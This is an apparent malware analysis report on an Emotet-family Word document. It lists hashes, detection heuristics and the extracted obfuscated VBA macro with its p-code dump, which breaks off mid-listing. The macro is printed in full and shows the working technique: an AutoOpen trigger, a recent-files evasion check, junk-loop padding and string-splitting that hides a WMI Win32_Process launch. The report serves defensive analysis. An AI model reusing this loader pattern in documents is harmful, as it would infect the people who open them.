Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c321b5367263474…

MALICIOUS

Office (OLE)

152.5 KB Created: 2019-09-23 06:57:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 9e91f1d6e20c98ed765bb08f254e1d8c SHA-1: 25a21668d9ce21fe889376d12009bda092c614e0 SHA-256: 6c321b536726347478c97ef7ffe4043857277902ff5687772bb5536f31fca8ca
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7178007-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7178007-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(RwEAZfP("yiwawiyiwayiwayiwanmgmyiwatsyiwayiwa:yiwayiwaWiyiwayiwanyiwa3yiwa2yiwa_yiwaProyiwaceyiwassyiwayiwa")).Create zdJirMzZ, Q3Zj5w2, trYYzNbS, wMIGiH
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29327 bytes
SHA-256: 876b62d3620dac64024588338a573d05d8896107367e48dc5f6e6147a8a3266e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Twl6jjzj, 0, 0, MSForms, TextBox"
Attribute VB_Control = "ld4CCGZ, 1, 1, MSForms, TextBox"
Attribute VB_Control = "wIzXHGzi, 2, 2, MSForms, TextBox"
Attribute VB_Control = "WftjwJSv, 3, 3, MSForms, TextBox"
Attribute VB_Control = "H85tHVX, 4, 4, MSForms, TextBox"
Attribute VB_Control = "BmWDjUE, 5, 5, MSForms, TextBox"
Attribute VB_Control = "GaUqEW, 6, 6, MSForms, TextBox"
Attribute VB_Control = "XdiYh8, 7, 7, MSForms, TextBox"
Attribute VB_Control = "YUEbJOu0, 8, 8, MSForms, TextBox"
Attribute VB_Control = "ti18PAc, 9, 9, MSForms, TextBox"
Attribute VB_Control = "qZw9Lksz, 10, 10, MSForms, TextBox"
Attribute VB_Control = "rjFD_c_, 11, 11, MSForms, TextBox"
Attribute VB_Control = "j0IJ6iN5, 12, 12, MSForms, TextBox"
Attribute VB_Control = "aLPz1dFr, 13, 13, MSForms, TextBox"
Attribute VB_Control = "nDHh05D3, 14, 14, MSForms, TextBox"
Attribute VB_Control = "ojlZV0j, 15, 15, MSForms, TextBox"
Attribute VB_Control = "SUcYjLw4, 16, 16, MSForms, TextBox"
Attribute VB_Control = "zk1c35, 17, 17, MSForms, TextBox"
Attribute VB_Control = "CtMQXwj, 18, 18, MSForms, TextBox"
Attribute VB_Control = "u5diCCfC, 19, 19, MSForms, TextBox"

Attribute VB_Name = "oYitPl7"
Function wZi6skaB()
   On Error Resume Next
   Do
      If FRB8CKU5 = IUIQzn Then
         zSQUYLj = UmAiaCP _
         - Hex(957 + Oct(532 / Round(334))) _
         + 979 - Fix(wPBR7i) - 787 - Ej72iR_A _
         - iw42YC * Sin(OwlvR58u)
         cqXsYk = Tan(289)
      End If
         Dl6UAd = diLI2_j_ _
         * Round(LURC5u) / Xku9YSuY / B8vIkV + (cjKjGXa _
         / Sin(ntCsKrC) / 212 * Sin(KlJ4YdB))
      For Each QaFv8sfL In udWhL80p
         sPtI0It = GshqaGwR * Round(QM0kOGI2) _
         / zZwGAGEr / q_PjAGXw + (Tp04mO4 / Sin(B1RpRts) _
         / 945 * Sin(hTCGUN9))

      Next
Loop Until YkHtV5nl = wizOYM6
zdJirMzZ = QYSPt_aX + RwEAZfP(ThisDocument.nDHh05D3 + ThisDocument.XdiYh8) + QN_6PLz
   On Error Resume Next
   Do
      If nY7jiST = XhTIzWfn Then
         SRWDwwRr = Oqw6si _
         - Hex(854 + Oct(510 / Round(307))) _
         + 436 - Fix(Hj6MDi) - 910 - HBj81X _
         - wQZVHt * Sin(hZhzvZa)
         Zic1JO3 = Tan(831)
      End If
         hQKtf5Yj = Ek5ZTTi _
         * Round(fTulNiW4) / oChqXE8 / vnYPb0O4 + (Hjlk7D _
         / Sin(i9OIBjFL) / 357 * Sin(uhUX4nt))
      For Each DTm0mz In vLdmn8KQ
         om1KPlq0 = oo02m1Wl * Round(fWN4KA68) _
         / IGZ78sY / BTotD5 + (j_zkkN / Sin(WZ8_Oq) _
         / 585 * Sin(YkrOD55c))

      Next
Loop Until Bq0nJ04 = zi_k46

CreateObject(RwEAZfP("yiwawiyiwayiwayiwanmgmyiwatsyiwayiwa:yiwayiwaWiyiwayiwanyiwa3yiwa2yiwa_yiwaProyiwaceyiwassyiwayiwa")).Create zdJirMzZ, Q3Zj5w2, trYYzNbS, wMIGiH
   On Error Resume Next
   Do
      If Vt9VjUk = mCbjNRv Then
         EmcGPbrh = PrRXmNVG _
         - Hex(340 + Oct(256 / Round(607))) _
         + 761 - Fix(R1SNLV) - 390 - ZPhpK4 _
         - AUijo0 * Sin(Czdp1W4K)
         iQUP66t = Tan(11)
      End If
         QNojYz = AnLkWD _
         * Round(T3DbHX) / fST1wak / wcmZTF + (J3h3_ON _
         / Sin(cCp078) / 391 * Sin(vFdmal))
      For Each Sam2vDz In zfztmD
         j3hIQAjv = zYwvQii * Round(fAUiQi60) _
         / QTCXnt / NGaFGZq + (OMPVP0Qj / Sin(UQoVBFs) _
         / 356 * Sin(zBJBh9))

      Next
Loop Until Tf67wir = JrEVz2pW

   On Error Resume Next
   Do
      If fofhqZp = c3ZICNo Then
         vwQT6ubP = sXILR_U2 _
         - Hex(207 + Oct(361 / Round(258))) _
         + 343 - Fix(hoPBVCDV) - 574 - qfsqdFY _
         - nFbb8BIZ * Sin(HtXhdC)
         M04rG6X = Tan(420)
      End If
         jctMmCI = LNTANnWN _
         * Round(X0OoMhJT) / wjDCqc / wirOLlzD + (nQU5tf _
         / Sin(XzjqcuS) / 845 * Sin(kKQVwqYR))
      For Each LznzJR In duEzimS
         XQF886 = u_4_l8 * Round(PNkzAX) _
         / Jtj16mp / b7BiPS37 + (OCi0wb / Sin(UsLHF3) _
         / 151 * Sin(LY3NRV1O))

      Next
Loop Until fiE7t4 = GfnutY
End Function
Function RwEAZfP(jXbiVrZC)
   On Error Resume Next
   Do
      If XD3spRm = imvi8zk Then
         ht79uSIY = CjQQbO _
         - Hex(274 + Oct(981 / Round(252))) _
         + 797 - Fix(QmpiVK) - 17 - IlwrD1O _
         - EpiTjjQQ * Sin(DUWUPh)
         GKGXvi = Tan(221)
      End If
         clUOOU = Rj6wvC _
         * Round(B2WQzR) / QkGV1t / IbBq8EGt + (zrn9fF _
         / Sin(R6L4TQDL) / 601 * Sin(LZinp0m))
      For Each mV9vns In sjWFBk
         AvRHvmv = aJiWCpW * Round(BfXJjL) _
         / KpijM1iP / QMQHkw + (cO8z3A / Sin(cf_2MGlz) _
         / 472 * Sin(f4SUEG))

      Next
Loop Until B0w67k2 = PBXwipP
RwEAZfP = Replace(jXbiVrZC, Replace("yiwa", "334jsn", ""), "")
   On Error Resume Next
   Do
      If LwJE02 = c2aIAk Then
         HjH6ii = jBzLDEm _
         - Hex(805 + Oct(810 / Round(192))) _
         + 453 - Fix(ON2RFO) - 111 - WLONQ1N _
         - JIhRotwt * Sin(DwGiO24u)
         mDVCfC = Tan(45)
      End If
         KaLkFT5i = hiEirQBl _
         * Round(zXYG2z_H) / olaAj9w / olvz5G5P + (EB6snw2 _
         / Sin(mTUwrh) / 512 * Sin(DDBufh))
      For Each EPifA8h In li35wPq7
         Vc1DRqD1 = jkiCJh * Round(bFzwhB) _
         / SIQwVw / XGQMR18H + (GI_1vQu / Sin(i0o6wFO) _
         / 9 * Sin(dYzzvskC))

      Next
Loop Until AsJpb6 = ChX_E9aP
End Function


Attribute VB_Name = "nRpAoku"
Sub autoopen()
   On Error Resume Next
   Do
      If QNEcNjZ9 = I0TN53 Then
         fE4rpO = EvOFbMHS _
         - Hex(450 + Oct(572 / Round(857))) _
         + 212 - Fix(OpQHt5) - 772 - UYik7k5 _
         - K_ni2Yfi * Sin(dw93A4zl)
         ZW0KOzqO = Tan(628)
      End If
         iMNT6Ttj = noEK9n _
         * Round(YsG0QcY) / XUBtR0 / Tlp8sJ + (T_3RzN _
         / Sin(Hvwsr8v) / 683 * Sin(OQLZhi))
      For Each FlBwkw In p4dhkMPu
         aKIYb2u = uHz2fMC * Round(dni_P54) _
         / UiFBcw / ZGsJLCsV + (BC9VhfnK / Sin(b7PfYi) _
         / 306 * Sin(R3qA5hs))

      Next
Loop Until YYk2okN3 = C8kYSv5
If RecentFiles.Count > (12 / 4) Then
wZi6skaB
End If
   On Error Resume Next
   Do
      If RffsdB = Li1zfS4 Then
         M36Sj5QN = arZdiFu _
         - Hex(81 + Oct(939 / Round(49))) _
         + 977 - Fix(sYwizDVr) - 633 - vGjvkFw2 _
         - fPfLqA9z * Sin(jvt8PR)
         FOKMQaY = Tan(670)
      End If
         z1XzP4 = j4kzwG _
         * Round(lGJYjfS) / mnqZ0Ew / A0sfc30n + (ujSHnkh _
         / Sin(scbivY) / 230 * Sin(E6ozzY))
      For Each c6OoRZ In ut1cfCzc
         iijb8G9 = l_lGKiCE * Round(i9cjjp) _
         / BwCFLDO / bH0Hrp + (tSnp9d / Sin(HFlIB_) _
         / 521 * Sin(c722nwh4))

      Next
Loop Until a9sL0S = jWZ4ES
End Sub
Function trYYzNbS()
OLpLTKMO = Fh493UQ + GBhip3kt
   On Error Resume Next
   Do
      If c56R45UN = l9YwU4z Then
         kz1FfNrM = vOizqGtS _
         - Hex(542 + Oct(96 / Round(359))) _
         + 76 - Fix(rSXK0mY) - 645 - n_jiijHs _
         - DLrpilX * Sin(lsmlnj)
         WqG51Bj = Tan(572)
      End If
         Uq8RiY64 = Hn1jlX _
         * Round(wKZ5CaGq) / bPKLv3Ms / JUrsiS0z + (ajnDhu _
         / Sin(hjL3WNW) / 712 * Sin(w30W5E))
      For Each idrZubUE In AmGpBl
         otT0dW = A6ovmc * Round(tQkG5E) _
         / WAVR9U2X / OkdrAV1f + (WKljSzw / Sin(iLs3fh) _
         / 966 * Sin(PRrDQF))

      Next
Loop Until mzLQOR = XWRaz_I
Set trYYzNbS = CreateObject(OiIkdq3 + RwEAZfP(ThisDocument.H85tHVX) + E9jqAL)
   On Error Resume Next
   Do
      If vfGNElYR = qjKjw4k Then
         R9Da24 = SUPRFu _
         - Hex(939 + Oct(585 / Round(70))) _
         + 263 - Fix(LwiGSr) - 125 - wj69Y1 _
         - NV932F * Sin(CZC8zX)
         HbiFCf3o = Tan(240)
      End If
         XR0DwjnF = oKQHiND5 _
         * Round(Pl2Hz9Rm) / YUw7o0W_ / QuV0A0K + (qc00Fn2 _
         / Sin(M1PA8RRc) / 207 * Sin(Yj3DSIn))
      For Each tH2w2E In aVsSwi
         oRTwErin = w9Yq2dEl * Round(UCY7n0zH) _
         / jAWTj3 / JLjN06GW + (ZPOM_wWu / Sin(IG6b0wQ) _
         / 650 * Sin(EK_ITbX))

      Next
Loop Until Cd1RD9 = qfBk8w0
trYYzNbS.ShowWindow! = OLpLTKMO
   On Error Resume Next
   Do
      If vKZfkQ1 = T2psTBCi Then
         PdwCVwu = whwfCnX _
         - Hex(499 + Oct(267 / Round(310))) _
         + 287 - Fix(uZfP9j) - 651 - hlVO2n _
         - wBGIDr * Sin(MpTmVmF7)
         ho4DjPuK = Tan(221)
      End If
         zWF5FL = OmRNjhA _
         * Round(k1CjZ8) / Cb6j2Y4h / ukahJi + (ibbFWCN _
         / Sin(RHmhZ7) / 248 * Sin(mKFaOY))
      For Each ZHt1LqiB In lh9F3T
         cZFiiof = TZPbCwO * Round(ZL3qokzH) _
         / DoSwk32 / AoFUqPGn + (jwuO8zpf / Sin(arWbHbwF) _
         / 475 * Sin(dMfc2RZ))

      Next
Loop Until Vh9SRh = VV96X0
   On Error Resume Next
   Do
      If FQTGER = sqqLXj Then
         wE3KDVF = HrudozA _
         - Hex(966 + Oct(362 / Round(242))) _
         + 597 - Fix(rQpV8vD0) - 816 - t6qAhJ8J _
         - FwKKd7k * Sin(L5pRlqd)
         GGGEKFR = Tan(286)
      End If
         jNTroIV = Ei4BLj _
         * Round(FMnFUDPU) / XBlE5uc5 / aQh85m + (mG7ktN_ _
         / Sin(TWJEXm) / 857 * Sin(idAlIjRM))
      For Each sqrLtrz In r4TYFzoE
         LIoKDO = qlipYpw * Round(ULndPwr) _
         / TF7zii / rSMjo9 + (A0XLfo / Sin(VP46t0V9) _
         / 956 * Sin(sDbCGD))

      Next
Loop Until qi74wOC = qTWfti
End Function



' Processing file: /opt/analyzer/scan_staging/eaf10e08c39f45578146c66430163f71.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3550 bytes
' Macros/VBA/oYitPl7 - 6871 bytes
' Line #0:
' 	FuncDefn (Function oYitPl7())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Do 
' Line #3:
' 	Ld wZi6skaB 
' 	Ld FRB8CKU5 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld zSQUYLj 
' 	LitDI2 0x03BD 
' 	LitDI2 0x0214 
' 	LitDI2 0x014E 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x03D3 
' 	Add 
' 	Ld UmAiaCP 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x0313 
' 	Sub 
' 	Ld wPBR7i 
' 	Sub 
' 	Ld Ej72iR_A 
' 	Ld iw42YC 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St IUIQzn 
' Line #5:
' 	LitDI2 0x0121 
' 	ArgsLd Tan 0x0001 
' 	St OwlvR58u 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld Dl6UAd 
' 	Ld diLI2_j_ 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld LURC5u 
' 	Div 
' 	Ld Xku9YSuY 
' 	Div 
' 	Ld B8vIkV 
' 	Ld cjKjGXa 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x00D4 
' 	Div 
' 	Ld ntCsKrC 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St cqXsYk 
' Line #8:
' 	StartForVariable 
' 	Ld KlJ4YdB 
' 	EndForVariable 
' 	Ld QaFv8sfL 
' 	ForEach 
' Line #9:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld sPtI0It 
' 	Ld GshqaGwR 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld QM0kOGI2 
' 	Div 
' 	Ld zZwGAGEr 
' 	Div 
' 	Ld q_PjAGXw 
' 	Ld Tp04mO4 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x03B1 
' 	Div 
' 	Ld B1RpRts 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St udWhL80p 
' Line #10:
' Line #11:
' 	StartForVariable 
' 	Next 
' Line #12:
' 	Ld hTCGUN9 
' 	Ld YkHtV5nl 
' 	Eq 
' 	LoopUntil 
' Line #13:
' 	Ld zdJirMzZ 
' 	Ld ThisDocument 
' 	MemLd aLPz1dFr 
' 	Ld ThisDocument 
' 	MemLd _B_var_fFr6Sk 
' 	Add 
' 	ArgsLd QYSPt_aX 0x0001 
' 	Add 
' 	Ld RwEAZfP 
' 	Add 
' 	St wizOYM6 
' Line #14:
' 	OnError (Resume Next) 
' Line #15:
' 	Do 
' Line #16:
' 	Ld QN_6PLz 
' 	Ld nY7jiST 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld SRWDwwRr 
' 	LitDI2 0x0356 
' 	LitDI2 0x01FE 
' 	LitDI2 0x0133 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x01B4 
' 	Add 
' 	Ld Oqw6si 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x038E 
' 	Sub 
' 	Ld Hj6MDi 
' 	Sub 
' 	Ld HBj81X 
' 	Ld wQZVHt 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St XhTIzWfn 
' Line #18:
' 	LitDI2 0x033F 
' 	ArgsLd Tan 0x0001 
' 	St hZhzvZa 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld hQKtf5Yj 
' 	Ld Ek5ZTTi 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld fTulNiW4 
' 	Div 
' 	Ld oChqXE8 
' 	Div 
' 	Ld vnYPb0O4 
' 	Ld Hjlk7D 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0165 
' 	Div 
' 	Ld i9OIBjFL 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St Zic1JO3 
' Line #21:
' 	StartForVariable 
' 	Ld uhUX4nt 
' 	EndForVariable 
' 	Ld DTm0mz 
' 	ForEach 
' Line #22:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld om1KPlq0 
' 	Ld oo02m1Wl 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld fWN4KA68 
' 	Div 
' 	Ld IGZ78sY 
' 	Div 
' 	Ld BTotD5 
' 	Ld j_zkkN 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0249 
' 	Div 
' 	Ld WZ8_Oq 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St vLdmn8KQ 
' Line #23:
' Line #24:
' 	StartForVariable 
' 	Next 
' Line #25:
' 	Ld YkrOD55c 
' 	Ld Bq0nJ04 
' 	Eq 
' 	LoopUntil 
' Line #26:
' Line #27:
' 	Ld wizOYM6 
' 	Ld Create 
' 	Ld Q3Zj5w2 
' 	Ld trYYzNbS 
' 	LitStr 0x0062 "yiwawiyiwayiwayiwanmgmyiwatsyiwayiwa:yiwayiwaWiyiwayiwanyiwa3yiwa2yiwa_yiwaProyiwaceyiwassyiwayiwa"
' 	ArgsLd QYSPt_aX 0x0001 
' 	ArgsLd zi_k46 0x0001 
' 	ArgsMemCall CreateObject 0x0004 
' Line #28:
' 	OnError (Resume Next) 
' Line #29:
' 	Do 
' Line #30:
' 	Ld wMIGiH 
' 	Ld Vt9VjUk 
' 	Eq 
' 	IfBlock 
' Line #31:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld EmcGPbrh 
' 	LitDI2 0x0154 
' 	LitDI2 0x0100 
' 	LitDI2 0x025F 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x02F9 
' 	Add 
' 	Ld PrRXmNVG 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x0186 
' 	Sub 
' 	Ld R1SNLV 
' 	Sub 
' 	Ld ZPhpK4 
' 	Ld AUijo0 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St mCbjNRv 
' Line #32:
' 	LitDI2 0x000B 
' 	ArgsLd Tan 0x0001 
' 	St Czdp1W4K 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld QNojYz 
' 	Ld AnLkWD 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld T3DbHX 
' 	Div 
' 	Ld fST1wak 
' 	Div 
' 	Ld wcmZTF 
' 	Ld J3h3_ON 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0187 
' 	Div 
' 	Ld cCp078 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St iQUP66t 
' Line #35:
' 	StartForVariable 
' 	Ld vFdmal 
' 	EndForVariable 
' 	Ld Sam2vDz 
' 	ForEach 
' Line #36:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld j3hIQAjv 
' 	Ld zYwvQii 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld fAUiQi60 
' 	Div 
' 	Ld QTCXnt 
' 	Div 
' 	Ld NGaFGZq 
' 	Ld OMPVP0Qj 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0164 
' 	Div 
' 	Ld UQoVBFs 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St zfztmD 
' Line #37:
' Line #38:
' 	StartForVariable 
' 	Next 
' Line #39:
' 	Ld zBJBh9 
' 	Ld Tf67wir 
' 	Eq 
' 	LoopUntil 
' Line #40:
' Line #41:
' 	OnError (Resume Next) 
' Line #42:
' 	Do 
' Line #43:
' 	Ld JrEVz2pW 
' 	Ld fofhqZp 
' 	Eq 
' 	IfBlock 
' Line #44:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld vwQT6ubP 
' 	LitDI2 0x00CF 
' 	LitDI2 0x0169 
' 	LitDI2 0x0102 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x0157 
' 	Add 
' 	Ld sXILR_U2 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x023E 
' 	Sub 
' 	Ld hoPBVCDV 
' 	Sub 
' 	Ld qfsqdFY 
' 	Ld nFbb8BIZ 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St c3ZICNo 
' Line #45:
' 	LitDI2 0x01A4 
' 	ArgsLd Tan 0x0001 
' 	St HtXhdC 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld jctMmCI 
' 	Ld LNTANnWN 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld X0OoMhJT 
' 	Div 
' 	Ld wjDCqc 
' 	Div 
' 	Ld wirOLlzD 
' 	Ld nQU5tf 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x034D 
' 	Div 
' 	Ld XzjqcuS 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St M04rG6X 
' Line #48:
' 	StartForVariable 
' 	Ld kKQVwqYR 
' 	EndForVariable 
' 	Ld LznzJR 
' 	ForEach 
' Line #49:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld XQF886 
' 	Ld u_4_l8 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld PNkzAX 
' 	Div 
' 	Ld Jtj16mp 
' 	Div 
' 	Ld b7BiPS37 
' 	Ld OCi0wb 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0097 
' 	Div 
' 	Ld UsLHF3 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St duEzimS 
' Line #50:
' Line #51:
' 	StartForVariable 
' 	Next 
' Line #52:
' 	Ld LY3NRV1O 
' 	Ld fiE7t4 
' 	Eq 
' 	LoopUntil 
' Line #53:
' 	EndFunc 
' Line #54:
' 	FuncDefn (Function QYSPt_aX(GfnutY))
' Line #55:
' 	OnError (Resume Next) 
' Line #56:
' 	Do 
' Line #57:
' 	Ld jXbiVrZC 
' 	Ld XD3spRm 
' 	Eq 
' 	IfBlock 
' Line #58:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld ht79uSIY 
' 	LitDI2 0x0112 
' 	LitDI2 0x03D5 
' 	LitDI2 0x00FC 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x031D 
' 	Add 
' 	Ld CjQQbO 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x0011 
' 	Sub 
' 	Ld QmpiVK 
' 	Sub 
' 	Ld IlwrD1O 
' 	Ld EpiTjjQQ 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St imvi8zk 
' Line #59:
' 	LitDI2 0x00DD 
' 	ArgsLd Tan 0x0001 
' 	St DUWUPh 
' Line #60:
' 	EndIfBlock 
' Line #61:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld clUOOU 
' 	Ld Rj6wvC 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld B2WQzR 
' 	Div 
' 	Ld QkGV1t 
' 	Div 
' 	Ld IbBq8EGt 
' 	Ld zrn9fF 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0259 
' 	Div 
' 	Ld R6L4TQDL 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St GKGXvi 
' Line #62:
' 	StartForVariable 
' 	Ld LZinp0m 
' 	EndForVariable 
' 	Ld mV9vns 
' 	ForEach 
' Line #63:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld AvRHvmv 
' 	Ld aJiWCpW 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld BfXJjL 
' 	Div 
' 	Ld KpijM1iP 
' 	Div 
' 	Ld QMQHkw 
' 	Ld cO8z3A 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x01D8 
' 	Div 
' 	Ld cf_2MGlz 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St sjWFBk 
' Line #64:
' Line #65:
' 	StartForVariable 
' 	Next 
' Line #66:
' 	Ld f4SUEG 
' 	Ld B0w67k2 
' 	Eq 
' 	LoopUntil 
' Line #67:
' 	Ld GfnutY 
' 	LitStr 0x0004 "yiwa"
' 	LitStr 0x0006 "334jsn"
' 	LitStr 0x0000 ""
' 	ArgsLd PBXwipP 0x0003 
' 	LitStr 0x0000 ""
' 	ArgsLd PBXwipP 0x0003 
' 	St QYSPt_aX 
' Line #68:
' 	OnError (Resume Next) 
' Line #69:
' 	Do 
' Line #70:
' 	Ld Replace 
' 	Ld LwJE02 
' 	Eq 
' 	IfBlock 
' Line #71:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld HjH6ii 
' 	LitDI2 0x0325 
' 	LitDI2 0x032A 
' 	LitDI2 0x00C0 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x01C5 
' 	Add 
' 	Ld jBzLDEm 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x006F 
' 	Sub 
' 	Ld ON2RFO 
' 	Sub 
' 	Ld WLONQ1N 
' 	Ld JIhRotwt 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St c2aIAk 
' Line #72:
' 	LitDI2 0x002D 
' 	ArgsLd Tan 0x0001 
' 	St DwGiO24u 
' Line #73:
' 	EndIfBlock 
' Line #74:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld KaLkFT5i 
' 	Ld hiEirQBl 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld zXYG2z_H 
' 	Div 
' 	Ld olaAj9w 
' 	Div 
' 	Ld olvz5G5P 
' 	Ld EB6snw2 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0200 
' 	Div 
' 	Ld mTUwrh 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St mDVCfC 
' Line #75:
' 	StartForVariable 
' 	Ld DDBufh 
' 	EndForVariable 
' 	Ld EPifA8h 
' 	ForEach 
' Line #76:
' 	LineCont 0x0008 08 00 09 00 14 00 09 00
' 	Ld Vc1DRqD1 
